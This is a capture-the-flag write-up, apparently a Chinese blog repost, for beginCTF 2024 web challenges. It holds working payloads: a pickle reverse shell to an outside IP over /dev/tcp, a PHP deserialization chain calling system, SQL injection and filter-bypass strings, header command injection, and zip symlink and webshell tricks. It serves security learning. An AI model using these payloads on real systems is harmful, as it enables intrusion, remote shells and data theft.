beginCTF 2024 Web方向题解WP 全

news/2024/5/19 20:53:11 标签: 前端, RCE, PHP, Python, Web安全, 网络安全, CTF

king

题目描述:李华学习到了sql注入相关的知识,他觉得十分有趣,下去还自己找了一些靶场练手,拿掉几个题之后他信心大增,扬言自己是king of sqli,这时有师傅告诉他不仅有sql注入,还有nosql注入,并出了一道题就取名为kill the king,在经过一些尝试之后似乎这位king要滑铁卢了,这时他再次向你求助,你能帮帮他吗?

hint:

不仅是nosql还是nohttp噢,或许可以看看http之外的流量

这服务器返回的流量长得还挺别致,抓个字段搜搜看?

image-20240206055340097

这题是nosql注入,NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”。

nosql注入的数据库一般是MongoDB ,MongoDB 是当前最流行的 NoSQL 数据库产品之一,由 C++ 语言编写,是一个基于分布式文件存储的数据库。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

hint有提到nohttp、流量,这题我们注意WebSocket的流量。

image-20240206104713513

什么是WebSocket?

WebSocket是一种通过HTTP发起的双向、全双工通信协议。它通常用于现代Web应用程序,用于异步传输。经过测试,burp经典版本1.7只支持查看WebSockets History,并不能对WebSocket包进行重放等操作,所以建议大家一步到位直接更新到最新版哦。

HTTP与WebSocket有什么区别?

从传输模式上就有区别,HTTP是只能由客户端发出请求,然后服务器返回响应,而且是立即响应。而WebSockets是异步传输的,即双方随时都可以向对方发送消息,一般可以用于对数据有实时传输需求的应用程序中。

这题WebSocket+nosql注入,成分还真实复杂呢。

首先看初始WebSocket流量:

To server

{"id":"owcyopkot6","query":{"find":"enemies"}}

To client

{"id":"owcyopkot6","data":{"cursor":{"firstBatch":[{"_id":"65c193592604cb703e632cc1","name":"JACOB DANGERS"},{"_id":"65c193592604cb703e632cc2","name":"MILEON MASON"},{"_id":"65c193592604cb703e632cc3","name":"MACE CAVELIER"},{"_id":"65c193592604cb703e632cc4","name":"OSRIC GRAGOLOON"},{"_id":"65c193592604cb703e632cc5","name":"MOSES STONEWELL"},{"_id":"65c193592604cb703e632cc6","name":"TRISTAN GOSBECK"},{"_id":"65c193592604cb703e632cc7","name":"REDWALD CROMWELL"},{"_id":"65c193592604cb703e632cc8","name":"JEREMIAS PICARD"},{"_id":"65c193592604cb703e632cc9","name":"EGRIC MAIDSTONE"},{"_id":"65c193592604cb703e632cca","name":"ROBIN CURTEYS"},{"_id":"65c193592604cb703e632ccb","name":"DINUS DE REUE"},{"_id":"65c193592604cb703e632ccc","name":"HAREK SEDGWICK"},{"_id":"65c193592604cb703e632ccd","name":"FLORA DAUBERVILLE"},{"_id":"65c193592604cb703e632cce","name":"RAMETTA THE SLENDER"},{"_id":"65c193592604cb703e632ccf","name":"ISEMAY VERNOLD"},{"_id":"65c193592604cb703e632cd0","name":"AVINA CECIL"},{"_id":"65c193592604cb703e632cd1","name":"FANUS THE GREAT"},{"_id":"65c193592604cb703e632cd2","name":"GASPAR SHADOWSEEKER"},{"_id":"65c193592604cb703e632cd3","name":"GOUBERT THE RED"},{"_id":"65c193592604cb703e632cd4","name":"ALDOUS DARCY"},{"_id":"65c193592604cb703e632cd5","name":"RYN THE RED"},{"_id":"65c193592604cb703e632cd6","name":"FULLER CARDON"},{"_id":"65c193592604cb703e632cd7","name":"ANSELM THE OLD"},{"_id":"65c193592604cb703e632cd8","name":"ALVINA BLUETOOTH"},{"_id":"65c193592604cb703e632cd9","name":"MICKNEY  CORVISER"},{"_id":"65c193592604cb703e632cda","name":"RYKOR RAVENSGATE"},{"_id":"65c193592604cb703e632cdb","name":"REYNARD LONGBOW"},{"_id":"65c193592604cb703e632cdc","name":"ALEX TROST"},{"_id":"65c193592604cb703e632cdd","name":"ADAM KUHN"},{"_id":"65c193592604cb703e632cde","name":"STEVE GARDNER"},{"_id":"65c193592604cb703e632cdf","name":"CHASSIE EVANS"},{"_id":"65c193592604cb703e632ce0","name":"STEVEN SHAW"},{"_id":"65c193592604cb703e632ce1","name":"CHRIS COYIER"},{"_id":"65c193592604cb703e632ce2","name":"JHEY"},{"_id":"65c193592604cb703e632ce3","name":"PETE BARR"},{"_id":"65c193592604cb703e632ce4","name":"ZACH SAUCIER"}],"id":0,"ns":"king.enemies"},"ok":1}}

问一下GPT,对味儿了

image-20240206105311492

补一下MongoDB的知识:
Nosql 注入从零到一 - 先知社区 (aliyun.com)

Nosql注入总结 - FreeBuf网络安全行业门户

NOSQL 注入 - bonelee - 博客园 (cnblogs.com)

从零学习 NoSQL 注入之 Mongodb-腾讯云开发者社区-腾讯云 (tencent.com)

MONGODB 的基础 NOSQL注入基础-CSDN博客

什么是NoSQL注入 | 如何挖掘、利用NoSQL注入漏洞 - 知乎 (zhihu.com)

什么是NoSQL注入 | 如何挖掘、利用NoSQL注入漏洞 - 知乎 (zhihu.com)

跟着出题人的思路,我们去MongoDB的官方文档找找线索。

{"id":"owcyopkot6","query":{"find":"enemies"}}

其中的find是MongoDB的一个Commands。

作用是:查询对应的collection。上述代码段应该是查询enemies这一个collection的内容。

image-20240206110722823

文档中还有另外一条命令listCollections,作用是列出所有collection。

image-20240206111205381

payload:

{"id":"Jay17_exp","query":{"listCollections":1}}

image-20240206104354851

发现一个collection名为flag2spztpylm5x,里面应该就是flag。

payload:

{"id":"owcyopkot6","query":{"find":"flag2spztpylm5x"}}

image-20240206104517358

readbooks

开题,三个按钮。

image-20240131133709624

分别跳转到/public/book1/public/book2/list/private

在机缘巧合之下,发现/list/*可以读取所有文件名,/list/b*可以读取所有以b开头的文件名。

image-20240131133851102

/public/*可以读取所有文件的文件内容,/public/a*可以读取所有以a开头的文件的文件内容。这里读取app.py

image-20240131134020754

源码如下。

import os
from flask import Flask, request, render_template

app = Flask(__name__)

DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']
DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']
BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]

BLACKLIST.append("/")
BLACKLIST.append("\\")
BLACKLIST.append(" ")
BLACKLIST.append("\t")
BLACKLIST.append("\n")
BLACKLIST.append("tc")

ALLOW = [
    "{",
    "}",
    "[",
    "pwd",
    "-",
    "_"
]

for a in ALLOW:
    try:
        BLACKLIST.remove(a)
    except ValueError:
        pass

@app.route('/')
@app.route('/index')
def hello_world():
    return render_template('index.html')

@app.route('/public/<path:name>')
def readbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    try:
        res = os.popen('cat {}'.format(name)).read()
        return res
    except:
        return "error"

@app.route('/list/<path:name>')
def listbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    cmd = 'ls {}'.format(name)
    try:
        res = os.popen(cmd).read()
        return res
    except:
        return "error"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8878)

blacklist.txt同理可以读取,太多了不放了。

允许的字符串有这些,感觉是BASH内置变量RCE,但是又过滤了envecho

image-20240131134921397

过滤虽然多,但是我们可以用base64+转义符绕过。

base64绕过:

ls = `echo 'nHMK' | base64 -d`

转义符绕过:

【对于linux】不对于php

  • cat flag -> ca\t fl\ag
  • cat flag -> ca"t flag / ca""t flag
  • cat flag -> ca’t flag / ca’'t flag

payload:

/public/`'ec''ho'$IFS$9'L19mbGFn'|'ba''se64'$IFS$9-d`

image-20240206054737732

pickelshop

开局三个按钮。

image-20240131142208232

注册时候按钮点击无响应

image-20240131142230772

前端代码阻止了表单提交,相当于禁用了按钮。

image-20240131143149508

image-20240131143134854

模仿前端js语句功能,手动注册。返回了一个pickle。gASVJwAAAAAAAAB9lCiMCHVzZXJuYW1llIwDMTExlIwIcGFzc3dvcmSUjAMxMTGUdS4=

image-20240131142519963

手动加入cookie后,手动登录。

image-20240131142748088

没什么功能。猜测在pickleshop处或者login处,会自动加载pickle。尝试构造恶意pickle。

最后尝试得到login处会加载你的pickle。

image-20240131153920419

恶意pickle(反弹shell)生成脚本:

import pickle
import os
import base64

class aaa():
    def __reduce__(self):
        return(os.system,('bash -c "bash -i >& /dev/tcp/120.46.41.173/9023 0>&1"',))

a= aaa()

payload=pickle.dumps(a)

payload=base64.b64encode(payload)
print(payload)

生成

gASVUAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDViYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEyMC40Ni40MS4xNzMvOTAyMyAwPiYxIpSFlFKULg==

image-20240131154018902

登录一下就反弹shell成功了。

image-20240131154054032

POPgadget

题目描述:真的是签到题!

开题直接给了源码,PHP反序列化

<?php

highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
}

class Test{
    public function __call($f,$p){
        echo getenv("FLAG");
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A {
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B {
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}

if(isset($_REQUEST['begin'])){
    unserialize($_REQUEST['begin']);
}
?>

PHP版本7+

image-20240205040156203

链子:

B::__destruct()->A::__get($p)->Fun::__call($f,$p)

POC:

<?php

highlight_file(__FILE__);
class Fun{
    public $func = 'system';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p); //system('ls')
    }
}

class Test{
    public function __call($f,$p){
        echo getenv("FLAG");
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A {
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B {
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}


//B::__destruct()->A::__get($p)->Fun::__call($f,$p)

$a=new B();
$a->a=new A();
$a->p='env';  //执行的命令
$a->a->a=new Fun();

echo serialize($a);



payload:

/?begin=O:1:"B":2:{s:1:"p";s:3:"env";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";s:6:"system";}}}

image-20240205041828672

flag在环境变量里面,找了好久。不知道为什么我这种打法,执行一次环境就宕机得重启。

sql教学局

题目描述:唉 我摊牌勒 这样的教学局 不可能拿不下吧!

image-20240205042033903

不是,真教啊?

image-20240205042058659

说有waf,先用fuzz排查一下waf是什么。

image-20240205042512387

同时还会吃掉orselectfrom,我们用双写绕过。

image-20240205043614787

字段数1

查询库:

99'/**/union/**/selselectect/**/group_concat(schema_name)/**/frfromom/**/infoorrmation_schema.schemata#

image-20240205043846017

1、读取secret数据库password表的某条数据

获取password表的字段

99'/**/union/**/selselectect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'passwoorrd'#

image-20240205044125991

拿flag

99'/**/union/**/selselectect/**/group_concat(flag)/**/frfromom/**/secret.passwoorrd#

image-20240205044326708

2、读取当前数据库score表,学生begin的成绩(grade)

99'/**/union/**/selselectect/**/group_concat(grade)/**/frfromom/**/ctf.scoorre/**/where/**/student/**/like/**/'begin'#

image-20240205044635008

3、读取/flag

写马到文件:

99'/**/union/**/selselectect/**/loloadad_file('/flag')#

image-20240205205104012

flag:

flag{9c2afc2b-d974-4c8c-8089-c47ab9a8e9f0}

zupload

题目描述:李华师傅最近总是收到外国友人的来信,为了方便彼此的交流,他写了一个压缩包上传项目,现在还在开发过程中,想邀请你对他的网站进行测试,并表示以后要是需要给外国友人写信就包给他了。李华师傅非常聪明,知道项目越大出问题的概率就越大,于是他把还没有实现上传功能的项目发了过来,你能帮帮他找到网站的漏洞吗?

image-20240205051418593

前端判断文件类型。文件类型改成zip绕前端,抓包改回来就行。

image-20240205051830956

emmm,想错了,这题上传功能根本没做好。

image-20240205052130734

一顿分析之后,认为上传功能实现很可疑。get传参应该是执行文件,下图就是执行当前目录下upload.php

image-20240205052211543

目录穿越读取flag。

image-20240205052201035

zupload-pro

题目描述:Dear ctfer,

I hope this email finds you well. I wanted to follow up on the security vulnerability you found in my PHP project. Firstly, thank you for bringing it to my attention. Your help in identifying this issue is greatly appreciated.

I was surprised to discover a security vulnerability in such a small project, especially since the PHP backend is only 15 lines long. However, I have since fixed the issue and implemented a file uploading feature. I would like to invite you to test it out and provide any feedback you may have.

Again, thank you for taking the time to test my project and for bringing the vulnerability to my attention. Your input has helped me improve the security of my project.

Best regards,

Li Hua

OK,这次终于是文件类型改成zip绕前端,抓包改回来就行。

image-20240205052604921

image-20240205052650620

zupload-pro-plus

题目描述:李华吸取了前两次的教训,再次加固了项目,但是他不确定自己的修复方法是否正确,为此,李华给你画了半个饼,说如果还能找出漏洞他将重重有赏。

这次加了后端对文件后缀的校验。

image-20240205052815229

但是后端语句处理时候应该是整个文件名包含字符串zip即可,那就好办,多后缀,最后一个后缀是php就行,这样子就解析成php文件。

image-20240205053152017

image-20240205053158750

zupload-pro-plus-max

题目描述:项目再次被攻破了,李华十分懊恼,为此他打开了php的教程开始学习,使用了新的文件判断方法,并且为action操作换用了一个看起来十分高级的新函数,看样子他似乎并没有完全理解文档中对那个新函数的介绍,也不太懂“能跑就行”的程序员第一法则。尽管如此,李华仍然十分得意,并自信的又给你画了一个饼,你看破不说破,答应继续挖他项目的漏洞。

image-20240205053254515

注意题目描述:为action操作换用了一个看起来十分高级的新函数,看样子他似乎并没有完全理解文档中对那个新函数的介绍

想了半天没啥头绪,突然发现有附件:

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(include($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_destination = 'uploads/' . $file_name;
    
                if (move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'ok',
                        'message' => 'File uploaded successfully',
                        'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                    ));
                }
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

横向对比前后题目,

改动点:if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true)

校验文件内容是不是属于压缩包。

改动点:die(include($_GET['action']));

image-20240205212838196

之前都是file_get_contents读取文件,这边变成包含。可以实现把马压缩成zip然后包含,包含时候自动执行马里面的命令。

image-20240205213950777

image-20240205213959968

zupload-pro-plus-max-ultra

题目描述:李华总算是领会到了程序员第一法则的含金量,他决定不再搞花里胡哨的东西了,把那些的函数又改了回去,并且表示自己非常熟悉命令行,于是用命令行实现了一个压缩包解压的功能,心想这下总不能再出bug了吧?把项目交给了你并又双叒叕给你画了一个饼。

源码:

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    $extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';

    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));

    $allowed = array('zip');

    if (in_array($file_ext, $allowed)) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {

                exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

解法一:

注意源码片段,命令执行时候进行了字符串拼接,我们控制了相关字符串就能控制执行的命令,从而任意RCE

image-20240205225650111

$extract_to 参数是通过http头 X-EXTRACT-TO 传入的,因此控制这个即可。

我们的目标是使得$extract_to的值为

uploads/;tac /flag > /var/www/html/1.txt

抓包改就行了。

image-20240205230005897

把flag写入文件后直接访问

image-20240205230025146

解法二:

软连接的解法。linux硬链接与软链接 - crazyYong - 博客园 (cnblogs.com)

bash命令ln -s可以创建一个指向指定文件的软链接文件,然后将这个软链接文件上传至服务器,当我们再次请求访问这个链接文件时,实际上是请求在服务端它指向的文件。

创建软连接压缩包(–symlinks表示压缩软连接 )

ln -s /flag myflag
zip --symlink 1.zip myflag

image-20240206051943691

上传1.zip。

传完软连接后,访问/uploads/myflag,这里会直接把根目录的马下载下来。

image-20240206052049527

可能有点懵逼,我理理。就是这题上传压缩包后都会解压后放在上传目录。访问被解压文件是直接下载,所以传了马不能直接利用。我这里上传了软连接myflag,指向/flag,访问下载时候指向/flag,直接下载了flag。

zupload-pro-plus-max-ultra-premium

题目描述:李华又来联系你了,但是想起他已经给你画了2.5个饼了,却连一根毛都还没看到,你有些感觉被骗了。李华拍着胸脯说放心这次绝对有保证,如果你找到了项目的漏洞他当场给你九镑十五便士,并以国际名人的名声做担保。

源码:

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];

    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));

    $allowed = array('zip');

    if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_name_new = uniqid('', true) . '.' . $file_ext;
                $file_destination = 'uploads/' . $file_name_new;

                if (!move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'error',
                        'message' => 'Failed to upload file'
                    ));
                }

                exec('unzip ' . escapeshellarg($file_destination) . ' -d ' . 'uploads/');
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

命令行不能拼接了,软连接可以继续用。

image-20240206052638467

image-20240206052739982

zupload-pro-revenge

题目描述:李华带着他的revenge来了

源码:

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];

    if ($file_error === 0) {
        if ($file_size <= 2097152) {
            $file_destination = 'uploads/' . $file_name;

            if (move_uploaded_file($file_tmp, $file_destination)) {
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'File upload failed'
        ));
    }
}

文件类型前端校验。和zupload-pro一样。文件类型改成zip绕前端,抓包改回php就行。

image-20240206053238558

image-20240206053231638

zupload-pro-plus-enhanced

题目描述:李华加强了题目(华强)

源码:

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower($file_ext[1]);
    $allowed = array('zip');
    if (in_array($file_ext, $allowed)) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_destination = 'uploads/' . $file_name;
                if (move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'ok',
                        'message' => 'File uploaded successfully',
                        'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0]
                            . $file_destination
                    ));
                }
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

这次有后端校验了。但是校验的不是最后一个后缀,而是后缀里面有字符串zip即可。和zupload-pro-plus一样。

后端语句处理时候应该是整个文件名包含字符串zip即可,那就好办,多后缀,最后一个后缀是php就行,这样子就解析成php文件。

image-20240206053709199

image-20240206053652775


http://www.niftyadmin.cn/n/5366771.html

相关文章

SpringBoot之整合PageHelper分页插件

SpringBoot之整合PageHelper分页插件 文章目录 SpringBoot之整合PageHelper分页插件1. 引入坐标2. application.yml配置3. 基本使用4. 对多个查询执行分页1. 默认第一个Select语句会执行分页2. 让Pagehelper也能执行多个分页的方法3. 完整案例 详细配置请查看官网或MyBatis分页…

学习数据结构和算法的第3天

常数循环的复杂度 计算Func4的时间复杂度 voidFunc4(int N) { int count 0; for (int k 0; k < 100; k) { count; } printf("%d\n", count); }O&#xff08;1&#xff09; 不是代表算法运行一次&#xff0c;是常数次 strchar的时间复杂度 #include<stdi…

蓝桥杯每日一题-----数位dp练习

题目 链接 参考代码 写了两个&#xff0c;一个是很久以前写的&#xff0c;一个是最近刚写的&#xff0c;很久以前写的时候还不会数位dp所以写了比较详细的注释&#xff0c;这两个代码主要是设置了不同的记忆数组&#xff0c;通过这两个代码可以理解记忆数组设置的灵活性。 im…

opencv0014 索贝尔(sobel)算子

前面学习的滤波器主要是用来模糊图像&#xff0c;今天一起来了解关于边缘识别的滤波吧&#xff01;嘿嘿 边缘 边缘是像素值发生跃迁的位置&#xff0c;是图像的显著特征之一&#xff0c;在图像特征提取&#xff0c;对象检测&#xff0c;模式识别等方面都有重要的作用。 人眼如…

docker复习笔记01(小滴课堂)安装+部署mysql

查看内核版本。 关闭防火墙&#xff1a; 查看docker版本&#xff1a; 下载阿里yum源&#xff1a; 再看一下yum版本都有哪些&#xff1a; 我们可以看的docker-ce了。 安装它&#xff1a; 设置docker服务开机启动&#xff1a; 更新日志文件&#xff1a; 启动docker&#xff1a; …

Java开发IntelliJ IDEA2023

IntelliJ IDEA 2023是一款强大的集成开发环境&#xff08;IDE&#xff09;&#xff0c;专为Java开发人员设计。它提供了许多特色功能&#xff0c;帮助开发人员更高效地编写、测试和调试Java应用程序。以下是一些IntelliJ IDEA 2023的特色功能&#xff1a; 智能代码编辑器&…

机器学习---概率图模型(隐马尔可夫模型、马尔可夫随机场、条件随机场)

1. 隐马尔可夫模型 机器学习最重要的任务是根据已观察到的证据&#xff08;例如训练样本&#xff09;对感兴趣的未知变量&#xff08;例如类别标 记&#xff09;进行估计和推测。概率模型&#xff08;probabilistic model&#xff09;提供了一种描述框架&#xff0c;将描述任…

用的到的linux-删除文件-Day3

前言&#xff1a; 上一节&#xff0c;我们讲到了怎么去移动文件&#xff0c;其中使用到两大类的脚本命令即cp和mv。各两种命令都可以完成移动&#xff0c;但是cp是复制粘贴的方式&#xff0c;可以选择原封不动的复制粘贴过来&#xff0c;即不修改文件及文件夹的创建时间等&…